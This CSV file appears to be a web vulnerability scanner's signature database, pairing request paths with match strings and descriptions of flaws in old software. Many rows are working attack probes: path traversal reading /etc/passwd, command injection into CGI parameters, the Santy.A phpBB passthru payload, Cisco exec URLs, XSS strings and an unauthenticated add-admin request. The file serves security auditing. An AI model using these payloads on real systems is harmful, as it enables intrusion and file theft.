"001239","8679","a","/ab2/\@AdminAddadmin?uid=foo&password=bar&re_password=bar","GET","200","","","","","Sun Answerbook may allow users to be created without proper authentication first. Attempted to add user 'foo' with password 'bar'.","","" "001240","14633","4","/ab2/Help_C/\@Ab2HelpSearch?scope=HELP&DwebQuery= ","GET","","","","","","Sun Answerbook is vulnerable to XSS in the search field.","","" "001241","19947","4","/apps/web/index.fcgi?servers=§ion=","GET","","","","","","Zeus Admin server 4.1r2 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "001242","3233","23","dba4.nsf","GET","DB Analysis","","","","","This Lotus Domino page contains database views that disclose sensitive information.","","" "001243","2117","b","/BACLIENT","GET","200","","","","","IBM Tivoli default file found.","","" "001244","3233","1b","/postinfo.html","GET","Web Publishing Information","","","","","Microsoft FrontPage default file found.","","" "001245","30092","3b","/na_admin/ataglance.html","GET","Filer At","","","","","NetApp application displays detailed system information.","","" "001246","1210","7","/scripts/samples/search/qfullhit.htw","GET","QUERY","","","","","Server may be vulnerable to a Webhits.dll arbitrary file retrieval. MS00-006.","","" "001247","1210","7","/scripts/samples/search/qsumrhit.htw","GET","QUERY","","","","","Server may be vulnerable to a Webhits.dll arbitrary file retrieval. MS00-006.","","" "001248","1210","7","/JUNK(5).htw","GET","QUERY","","","","","Server may be vulnerable to a Webhits.dll arbitrary file retrieval. Ensure Q252463i, Q252463a or Q251170 is installed. MS00-006.","","" "001249","877","4","/","TRACK","TRACK / HTTP/1.","","","not supported by the server","","TRACK option ('TRACE' alias) appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details","","" "001250","877","4","/","TRACE","TRACE / HTTP/1.","","","not supported by the server","","TRACE option appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details","","" "001251","787","28a","http://127.0.0.1:2301/ HTTP/1.0","GET","Compaq WBEM Device","","","","","The Compaq WBEM interface can act as an HTTP proxy, which can allow firewall or web proxy bypass. http://www.compaq.com/products/servers/management/SSRT0758.html","","" "001252","847","37","/file/../../../../../../../../etc/","GET","200","","","","","The Icecast server allows the file system to be probed for directory structure, but does not allow arbitrary file retrieval.","","" "001253","578","8","/level/16/exec/-///pwd","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001254","578","8","/level/16/exec/-///show/configuration","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001255","578","8","/level/16","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001256","578","8","/level/16/exec/","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001257","578","8","/level/16/exec//show/access-lists","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001258","578","8","/level/16/level/16/exec//show/configuration","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001259","578","8","/level/16/level/16/exec//show/interfaces","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001260","578","8","/level/16/level/16/exec//show/interfaces/status","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001261","578","8","/level/16/level/16/exec//show/version","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001262","578","8","/level/16/level/16/exec//show/running-config/interface/FastEthernet","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001263","578","8","/level/16/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001264","578","8","/level/17/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001265","578","8","/level/18/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001266","578","8","/level/19/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001267","578","8","/level/20/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001268","578","8","/level/21/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001269","578","8","/level/22/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001270","578","8","/level/23/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001271","578","8","/level/24/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001272","578","8","/level/25/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001273","578","8","/level/26/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001274","578","8","/level/27/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001275","578","8","/level/28/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001276","578","8","/level/29/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001277","578","8","/level/30/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001278","578","8","/level/31/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001279","578","8","/level/32/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001280","578","8","/level/33/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001281","578","8","/level/34/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001282","578","8","/level/35/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001283","578","8","/level/36/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001284","578","8","/level/37/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001285","578","8","/level/38/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001286","578","8","/level/39/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001287","578","8","/level/40/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001288","578","8","/level/41/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001289","578","8","/level/42/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001290","578","8","/level/43/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001291","578","8","/level/44/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001292","578","8","/level/45/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001293","578","8","/level/46/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001294","578","8","/level/47/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001295","578","8","/level/48/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001296","578","8","/level/49/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001297","578","8","/level/50/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001298","578","8","/level/51/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001299","578","8","/level/52/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001300","578","8","/level/53/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001301","578","8","/level/54/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001302","578","8","/level/55/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001303","578","8","/level/56/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001304","578","8","/level/57/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001305","578","8","/level/58/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001306","578","8","/level/59/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001307","578","8","/level/60/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001308","578","8","/level/61/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001309","578","8","/level/62/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001310","578","8","/level/63/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001311","578","8","/level/64/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001312","578","8","/level/65/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001313","578","8","/level/66/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001314","578","8","/level/67/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001315","578","8","/level/68/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001316","578","8","/level/69/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001317","578","8","/level/70/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001318","578","8","/level/71/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001319","578","8","/level/72/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001320","578","8","/level/73/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001321","578","8","/level/74/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001322","578","8","/level/75/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001323","578","8","/level/76/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001324","578","8","/level/77/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001325","578","8","/level/78/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001326","578","8","/level/79/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001327","578","8","/level/80/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001328","578","8","/level/81/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001329","578","8","/level/82/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001330","578","8","/level/83/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001331","578","8","/level/84/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001332","578","8","/level/85/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001333","578","8","/level/86/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001334","578","8","/level/87/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001335","578","8","/level/88/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001336","578","8","/level/89/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001337","578","8","/level/90/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001338","578","8","/level/91/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001339","578","8","/level/92/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001340","578","8","/level/93/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001341","578","8","/level/94/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001342","578","8","/level/95/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001343","578","8","/level/96/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001344","578","8","/level/97/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001345","578","8","/level/98/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001346","578","8","/level/99/exec//show","GET","200","","","","","CISCO HTTP service allows remote execution of commands","","" "001347","10359","c","/gallery/captionator.php","GET","200","","","","","Gallery 1.1 through 1.3.0 contains a flaw that could allow remote attackers to include remote PHP via the GALLERY_BASEDIR variable.","","" "001348","10359","c","/gallery/errors/configmode.php","GET","200","","","","","Gallery 1.1 through 1.3.0 contains a flaw that could allow remote attackers to include remote PHP via the GALLERY_BASEDIR variable.","","" "001349","10359","c","/gallery/errors/needinit.php","GET","200","","","","","Gallery 1.1 through 1.3.0 contains a flaw that could allow remote attackers to include remote PHP via the GALLERY_BASEDIR variable.","","" "001350","10359","c","/gallery/errors/reconfigure.php","GET","200","","","","","Gallery 1.1 through 1.3.0 contains a flaw that could allow remote attackers to include remote PHP via the GALLERY_BASEDIR variable.","","" "001351","10359","c","/gallery/errors/unconfigured.php","GET","200","","","","","Gallery 1.1 through 1.3.0 contains a flaw that could allow remote attackers to include remote PHP via the GALLERY_BASEDIR variable.","","" "001352","18810","3","/users.lst","GET","200","","","","","LocalWEB2000 users.lst passwords found","","" "001353","13405","23","/WS_FTP.LOG","GET","200","","","","","WS_FTP.LOG file was found. It may contain sensitive information.","","" "001354","8956","7","/basilix.php3?request_id[DUMMY]=../../../../etc/passwd&RequestID=DUMMY&username=sec&password=secu","GET","root:","","","","","Remote file retrieval.","","" "001355","3720","23","/examples/jsp/snp/snoop.jsp","GET","Request Information","","","","","Displays information about page retrievals, including other users.","","" "001356","3715","23","/nsn/env.bas","GET","200","","","","","Novell web server shows the server environment and is vulnerable to cross-side scripting","","" "001357","3722","23","/lcgi/lcgitest.nlm","GET","200","","","","","Novell web server shows the server environment","","" "001358","13404","2","/com/","GET","200","","","","","Novell web server allows directory listing","","" "001359","13402","2","/com/novell/","GET","200","","","","","Novell web server allows directory listing","","" "001360","13403","2","/com/novell/webaccess","GET","200","","","","","Novell web server allows directory listing","","" "001361","10944","18","@CGIDIRS","GET","match","","","","","text goes here","","" "001362","8193","7","/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc","GET","passwd","","","","","EW FileManager for PostNuke allows arbitrary file retrieval.","","" "001363","8193","7","/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc/&view=passwd","GET","root:","","","","","EW FileManager for PostNuke allows arbitrary file retrieval.","","" "001364","3093","1","@CGIDIRSccbill-local.pl?cmd=MENU","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "001365","3093","1","@CGIDIRSccbill-local.cgi?cmd=MENU","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "001366","3093","1","@CGIDIRSmastergate/search.cgi?search=0&search_on=all","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "001367","3093","1","@CGIDIRSBackup/add-passwd.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "001368","13243","8","@CGIDIRSsendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message","GET","passwd","","","","","sendpage.pl allows command execution via the message variable.","","" "001369","1642","8","@CGIDIRSgbook/gbook.cgi?_MAILTO=xx;ls","GET","200","","","","","gbook.cgi allows command execution.","","" "001370","7161","8","@CGIDIRSbslist.cgi?email=x;ls","GET","200","","","","","BSList allows command execution.","","" "001371","7162","8","@CGIDIRSbsguest.cgi?email=x;ls","GET","200","","","","","BSGuest allows command execution.","","" "001372","10902","3","/cgi-bin/nbmember.cgi?cmd=list_all_users","GET","200 ","","","","","Netbilling ndmember.cgi reveals sensitive information.","","" "001373","4804","a","//admin/admin.shtml","GET","200","","","","","Axis network camera may allow admin bypass by using double-slashes before URLs.","","" "001374","4808","70","/axis-cgi/buffer/command.cgi","GET","200","","","","","Axis WebCam 2400 may allow overwriting or creating files on the system. See http://www.websec.org/adv/axis2400.txt.html for details.","","" "001375","4806","3","/support/messages","GET","200","","","","","Axis WebCam allows retrieval of messages file (/var/log/messages). See http://www.websec.org/adv/axis2400.txt.html","","" "001376","3093","8","@CGIDIRSwhere.pl?sd=ls%20/etc","GET","passwd","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "001377","3268","23","@CGIDIRS","GET","Index of ","","","","","Directory indexing is enabled: CGI directory","","" "001378","12606","4","/index.php?err=3&email=\">","GET","","","","","","MySQL Eventum is vulnerable to XSS in the email field.","","" "001379","12607","4","/forgot_password.php?email=\">","GET","","","","","","MySQL Eventum is vulnerable to XSS in the email field.","","" "001380","12606","4","/bugs/index.php?err=3&email=\">","GET","","","","","","MySQL Eventum is vulnerable to XSS in the email field.","","" "001381","12607","4","/bugs/forgot_password.php?email=\">","GET","","","","","","MySQL Eventum is vulnerable to XSS in the email field.","","" "001382","12606","4","/eventum/index.php?err=3&email=\">","GET","","","","","","MySQL Eventum is vulnerable to XSS in the email field.","","" "001383","12607","4","/eventum/forgot_password.php?email=\">","GET","","","","","","MySQL Eventum is vulnerable to XSS in the email field.","","" "001384","12184","3","/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000","GET","phpinfo","","","","","PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings.","","" "001385","12184","3","/some.php?=PHPE9568F36-D428-11d2-A769-00AA001ACF42","GET","200","","","","","PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings.","","" "001386","12184","3","/some.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42","GET","200","","","","","PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings.","","" "001387","12184","3","/some.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42","GET","200","","","","","PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings.","","" "001388","11719","89","/index.php?name=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","GET","","","","","","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm.","","" "001389","11719","89","/viewtopic.php?t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","GET","","","","","","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm.","","" "001390","11719","89","@NUKEindex.php?name=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","GET","","","","","","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm.","","" "001391","11719","89","@NUKEindex.php?name=forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","GET","","","","","","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm.","","" "001392","11719","89","@NUKEviewtopic.php?t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","GET","","","","","","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm.","","" "001393","11719","89","/index.php?name=PNphpBB2&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","GET","","","","","","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm.","","" "001394","11719","89","/index.php?name=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","GET","drwx","","","","","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm.","","" "001395","11719","89","/index.php?name=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","GET","drwx","","","","","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm.","","" "001396","11719","89","/viewtopic.php?t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","GET","drwx","","","","","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm.","","" "001397","11719","89","@NUKEindex.php?name=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","GET","drwx","","","","","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm.","","" "001398","11719","89","@NUKEindex.php?name=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","GET","drwx","","","","","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm.","","" "001399","11719","89","@NUKEviewtopic.php?t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","GET","drwx","","","","","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm.","","" "001400","11719","89","/index.php?name=PNphpBB2&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","GET","drwx","","","","","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm.","","" "001401","136","8","@CGIDIRSphf?Qname=root%0Acat%20/etc/passwd%20","GET","root:","","","","","This allows attackers to read arbitrary files on the system and perhaps execute commands.","","" "001402","136","8","@CGIDIRSphf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd","GET","root:","","","","","This allows attackers to read arbitrary files on the system and perhaps execute commands.","","" "001403","136","8","@CGIDIRSphf","GET","200","","","","","This allows attackers to read arbitrary files on the system and perhaps execute commands.","","" "001404","228","0","@CGIDIRSupload.cgi","GET","200","","","","","The upload.cgi allows attackers to upload arbitrary files to the server.","","" "001405","228","0","/upload.cgi+","GET","200","","","","","The upload.cgi allows attackers to upload arbitrary files to the server.","","" "001406","561","3","/server-status","GET","200","Server Version","","","","This reveals Apache information. Comment out appropriate line in httpd.conf or restrict access to allowed hosts.","","" "001407","119","3","/?PageServices","GET","Index of ","","","","","The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. CVE-1999-0269.","","" "001408","119","3","/?wp-cs-dump","GET","Index of ","","","","","The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. CVE-1999-0269.","","" "001409","1193","3","/cfdocs.map","GET",".tmp","","","","","Cold Fusion CFCACHE tag places temporary cache files within the web document root, allowing remote attackers to obtain sensitive system information. CVE-2000-0057.","","" "001410","1264","b","/publisher/","GET","200","","","","","Netscape Enterprise Server with Web Publishing can allow attackers to edit web pages and/or list arbitrary directories via Java applet. CVE-2000-0237.","","" "001411","127","8","@CGIDIRSnph-publish.cgi","GET","200","","","","","This CGI may allow attackers to execute arbitrary commands on the server.","","" "001412","128","3","@CGIDIRSnph-test-cgi","GET","200","","","","","This CGI lets attackers get a directory listing of the CGI directory.","","" "001413","134","7","/cgi-bin/pfdisplay.cgi?../../../../../../etc/passwd","GET","root:","200","","","","comes with IRIX 6.2-6.4; allows to run arbitrary commands","","" "001414","134","7","@CGIDIRSpfdispaly.cgi?'%0A/bin/cat%20/etc/passwd|'","GET","root:","","","","","This allows attackers to execute arbitrary commands on the host.","","" "001415","134","7","@CGIDIRSpfdispaly.cgi?../../../../../../../../../../etc/passwd","GET","root:","","","","","This allows attackers to read arbitrary files on the host.","","" "001416","134","7","@CGIDIRSpfdisplay.cgi?'%0A/bin/cat%20/etc/passwd|'","GET","root:","","","","","This allows attackers to execute arbitrary commands on the host.","","" "001417","155","6","/counter/1/n/n/0/3/5/0/a/123.gif","GET","200","","","","","The Roxen Counter may eat up excessive CPU time with image requests.","","" "001418","2","6","/iissamples/exair/search/search.asp","GET","200","","","","","Scripts within the Exair package on IIS 4 can be used for a DoS against the server. CVE-1999-0449. BID-193.","","" "001419","2087","7","@CGIDIRSwebcart/webcart.cgi?CONFIG=mountain&CHANGE=YES&NEXTPAGE=;cat%20/etc/passwd|&CODE=PHOLD","GET","root:","","","","","webcart.cgi allows remote command execution. Upgrade to the latest version.","","" "001420","2091","5","/../webserver.ini","GET","Authentic","","","","","Nuca WebServer allows retrieval of the web server configuration.","","" "001421","2117","2","/","GET","ESS Launch","","","","","Default IBM TotalStorage server found.","","" "001422","2117","2","/na_admin/","GET","Network Appliance","","","","","Default Network Appliance server found.","","" "001423","2117","2","/","GET","Celerra Web Manager","","","","","Default EMC Cellera manager server is running.","","" "001424","2117","2","/","GET","EMC ControlCenter","","","","","Default EMC ControlCenter manager server is running.","","" "001425","2117","2","/cpqlogin.htm","GET","System Management Homepage","","","","","Default Compaq/HP WBEM server is running.","","" "001426","2117","2","/cpqlogin.htm","GET","This is a private system","","","","","Defaul Compaq/HP WBEM server is running.","","" "001427","2117","2","/","GET","DHost HTTP Server","","","","","Default Novell NDS iMonitor was found. Default account may be 'sadmin' with no password.","","" "001428","2117","2","/","GET","AnswerBook","","","","","Default Sun Answerbook server running.","","" "001429","2117","2","/","GET","Allaire Corporateion","","","","","Default Jrun 2 server running.","","" "001430","2117","2","/","GET","Cisco IP Phone","","","","","Cisco VoIP Phone deafult web server found.","","" "001431","2117","2","/","GET","Jaguar CTS","","","","","Default Sybase Jaguar CTS server running.","","" "001432","2117","2","/","GET","Jrun Management Console","","","","","Default Jrun 3 server running.","","" "001433","2117","2","/","GET","Lantronix","","","","","Default Lantronix printer found.","","" "001434","2117","2","/","GET","Storage Management","","","","","Default IBM Tivoli Server Administration server is running.","","" "001435","2117","2","/","GET","Welcome to the JMC","","","","","Default Jrun 4 server running.","","" "001436","2117","2","/","GET","XEROX WORKCENTRE","","","","","Default Xerox WorkCentre server is running.","","" "001437","2117","2","/","GET","body text=\"#000000\" bgcolor=\"#000000\" style=","","","","","Appears to be a default Domino 6 install.","","" "001438","2117","2","/","GET","Domino 5","","","","","Default Lotus Domino server running.","","" "001439","2117","2","/","GET","Sambar Server","","","","","Appears to be a default Sambar install.","","" "001440","2117","2","/","GET","deafult Tomcat","","","","","Appears to be a default Apache Tomcat install.","","" "001441","2117","2","/","GET","instead of the website","","","","","Appears to be a default Apache install.","","" "001442","2117","2","/","GET","Test Page for Apache","","","","","Appears to be a default Apache install.","","" "001443","2117","2","/","GET","The site you were trying to reach does not currently have a default page","","","","","Appears to be a default IIS install.","","" "001444","2117","2","/","GET","Welcome to IIS 4.0","","","","","Appears to be a default IIS 4.0 install.","","" "001445","2117","2","/","GET","Welcome to Microsoft Windows NT 4","","","","","Appears to be a default IIS install.","","" "001446","2117","2","/","GET","Web Server, Enterprise Edition 6.0","","","","","Appears to be a default Netscape/iPlanet 6 install.","","" "001447","2117","b","/main_page.php","GET","mazu.css","","","","","Mazu Networks Profiler or Sensor is running.","","" "001448","2117","b","/","GET","samba is configured to deny","","","","","Samba-swat web server. Used to administer Samba.","","" "001449","2117","","/cpanel/","GET","200","","","","","Web-based control panel","","" "001450","2119","9","/shopexd.asp?catalogid='42","GET","catalogid='42'","","","","","VP-ASP Shopping Cart 5.0 contains multiple SQL injection vulnerabilities. CAN-2003-0560, BID-8159","","" "001451","2119","9","/shopping/diag_dbtest.asp","GET","200","","","","","VP-ASP Shopping Cart 5.0 contains multiple SQL injection vulnerabilities. CAN-2003-0560, BID-8159","","" "001452","2234","3","/_vti_bin/fpcount.exe/","GET","Empty output from CGI program","","","","","The VisNetic WebSite 3.5, Service release 17 reveals system paths when certain non-existing files are requested. See http://www.krusesecurity.dk/advisories/vis0103.txt for more information. CAN-1999-1376. BID-2252.","","" "001453","2390","4","/forum/index.php?method=<script>alert('Vulnerable')</script>","GET","","","","","","Zorum v3.4 and below are vulnerable to XSS attacks.","","" "001454","2390","4","/zorum/index.php?method=<script>alert('Vulnerable')</script>","GET","","","","","","Zorum v3.4 and below are vulnerable to XSS attacks.","","" "001455","250","2","/wwwboard/passwd.txt","GET","200","","","","","The wwwboard password file is browsable. Change wwwboard to store this file elsewhere, or upgrade to the latest version.","","" "001456","2562","4","/login/sm_login_screen.php?error=\">","GET","","","","","","SPHERA HostingDirector and Final User (VDS) Control Panel 1-3 are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "001457","2562","4","/login/sm_login_screen.php?uid=\">","GET","","","","","","SPHERA HostingDirector and Final User (VDS) Control Panel 1-3 are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "001458","2562","4","/SPHERA/login/sm_login_screen.php?error=\">","GET","","","","","","SPHERA HostingDirector and Final User (VDS) Control Panel 1-3 are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "001459","2562","4","/SPHERA/login/sm_login_screen.php?uid=\">","GET","","","","","","SPHERA HostingDirector and Final User (VDS) Control Panel 1-3 are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "001460","2617","4","/acart2_0/signin.asp?msg=","GET","","","","","","Alan Ward A-Cart 2.0 contains several XSS vulnerabilities","","" "001461","264","3","/ows-bin/perlidlc.bat?&dir","GET","ows-bin:","","","","","The Oracle web listener can be used to execute remote commands. http://www.securiteam.com/windowsntfocus/Oracle_Web_Listener_4_0_x_CGI_vulnerability.html","","" "001462","2695","b","/photo/","GET","200","","","","","My Photo Gallery pre 3.6 contains multiple vulnerabilities including .. traversal, unspecified vulnerabilities, and remote management interface access.","","" "001463","2695","b","/photodata/","GET","200","","","","","My Photo Gallery pre 3.6 contains multiple vulnerabilities including .. traversal, unspecified vulnerabilities, and remote management interface access.","","" 